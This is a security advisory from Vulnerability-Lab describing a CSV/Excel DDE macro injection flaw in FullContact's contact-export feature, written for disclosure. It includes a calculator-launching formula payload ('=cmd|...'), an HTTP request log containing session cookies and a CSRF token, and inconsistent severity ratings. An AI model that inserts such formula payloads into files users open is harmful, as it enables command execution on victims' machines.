FullContact BB #2 - CSV Excel Macro Injection Vulnerability

2017-01-19T00:00:00
ID VULNERLAB:1904
Type vulnerlab
Reporter SaifAllah benMassaoud - (http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud)
Modified 2017-01-19T00:00:00

Description

                                        
                                            Document Title:
===============
FullContact BB #2 - CSV Excel Macro Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1904


Release Date:
=============
2017-01-19


Vulnerability Laboratory ID (VL-ID):
====================================
1904


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
FullContact is the most powerful fully-connected contact management platform for professionals and enterprises 
who need to master their contacts and be awesome with people. FullContact’s cross-platform suite of Apps and 
APIs enhance contacts with 360-degree insights, while keeping them organized, in-sync, up-to-date, and safe.

(Copy of the Vendor Homepage: https://www.fullcontact.com/about/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a cvs excel macro injection vulnerability in the official FullContact web-application.


Vulnerability Disclosure Timeline:
==================================
2016-05-06: Researcher Notification & Coordination (Saif Ben Massoudi - Evolution Security GmbH)
2016-05-04: Vendor Notification (FullContact Security Team)
2016-06-13: Vendor Response/Feedback (FullContact Security Team)
2016-06-15: Vendor Fix/Patch (FullContact Service Developer Team)
2016-07-01 Security Acknowledgements (FullContact Security Team)
2017-01-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
FullContact
Product: FullContact - CSV Export Contacts (Web-Application) 2016 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A code injection web vulnerability has been discovered in the official FullContact online service web-application.

The vulnerability allows remote attackers to send malicious csv files by usage of the Microsoft Excel DDE function.
Exploitation of the csv excel macro injection vulnerability in export contact (outlook csv format) allows remote 
attackers to launch arbritary commands on the victims system. The code is get embed to the context of the csv file 
that executes the malicious context of a potential local or remote attacker.

The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the vulnerability requires no privileged web-application user accounts and only low user interaction. 
Successful exploitation of the vulnerability results in embed execution of system specific code via malicious csv 
file to compromise session date or to execute system specific malicious office macro codes.

Request Method(s):
[+] POST

Vulnerable Service(s):
[+] app.fullcontact.com

Vulnerable Module(s):
[+] /data/exportContacts


Proof of Concept (PoC):
=======================
The cvs code inject web vulnerability can be exploited by local and remote attackers with low user interaction.
For security demonstration or to reproduce the issue follow the provided information and steps below to continue.


--- Payload For Demo (Open Calculator) ---
=cmd|' /C calc'!A0


PoC: Exploitation
<label class="custom-radio" for="outlook">
<input id="outlook" name="format-option" value="outlook-csv" data-bind="checked: format" type="radio">
<div class="face"></div>
</label>


--- PoC Session Logs [POST] ---
Host: app.fullcontact.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://app.fullcontact.com/
Cookie: sails.sid=s%3AhnUMzqru9XRKPQ2TY9521iVy.%2Bx4RVSauQMzNk3Uv6v7Oa%2Fc%2FiXShGg5bPtCnh8RJS38; _fc_tok=3265c18d9692c2bd907c6cd2bff8c9c388d2b1f7; _fc_uv=ocyLz4cpGdX%252FAtroBdbsF7I0oawTiJWZO8KIlKHtul3poEjCOVclJv4pqwj9r9ZyHnSgo2N4N72UP51qgDo8Fl%252BVEhdjMkm0kbzrKPkJmYZo8rudBxErhGmI7zfUjza4Mc0xNdPpymKlOXYyJAHsEL2LQngR4JVwxIpCj643fu8%253D; _ga=GA1.2.172885891.1471062595; _gat=1; SnapABugRef=https%3A%2F%2Fapp.fullcontact.com%2F%20https%3A%2F%2Faccounts.google.com%2Fsignin%2Fchallenge%2Fsl%2Fpassword; SnapABugHistory=1#; SnapABugVisit=1#1471062596; optimizelyEndUserId=oeu1471062596232r0.08574373953651326; optimizelySegments=%7B%22298588916%22%3A%22ff%22%2C%22298732921%22%3A%22referral%22%2C%22298816152%22%3A%22false%22%7D; optimizelyBuckets=%7B%7D; __uvt=; _hp2_ses_props.1605541862=%7B%22r%22%3A%22https%3A%2F%2Faccounts.google.com%2Fsignin%2Fchallenge%2Fsl%2Fpassword%22%2C%22ts%22%3A1471062596299%2C%22d%22%3A%22app.fullcontact.com%22%2C%22h%22%3A%22%2F%22%7D; _hp2_id.1605541862=0604888091875533.8931973786322616.8482250678156272; ajs_user_id=null; ajs_group_id=null; ajs_anonymous_id=%227783f001-b6f9-451a-bd7e-a4441ebf72f8%22; uvts=4uK5uZcqI9HuQ3fL
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
q=%7B%22exportType%22%3A%22outlook-csv%22%2C%22selectedIds%22%3A%5B%7B%22addressBookId%22%3A%22835b0c3df7c9b9a69511af5e6be20ba5fb12f9b7%22%2C%22contactId%22%3A%22ac0cd4cf6ce84b84aa1022426bfd0845%22%2C%22etag%22%3A%22fffffea97dd5def9e90b78ca702483849835ae3904cc1d276d758b3c%22%7D%5D%7D&_csrf=UCZ7UFVmQbDOe0vQGR4N7Me0Dw00%2Bs1%2BrRmUA%3D
-
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="FullContact Outlook-CSV of 1 contact at 2016-08-13 04.30.31 GMT.csv"
Content-Type: text/csv
Date: Sat, 13 Aug 2016 04:30:31 GMT
Server: nginx/1.4.6 (Ubuntu)
Vary: Accept-Encoding
x-frame-options: SAMEORIGIN
X-Powered-By: FullContact
Connection: keep-alive


PoC: Video
https://www.youtube.com/watch?v=E4rgEXZTBM4


Security Risk:
==============
The security risk of the csv excel macro injection vulnerability in the official fullcontact web-application is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
SaifAllah benMassaoud - (http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™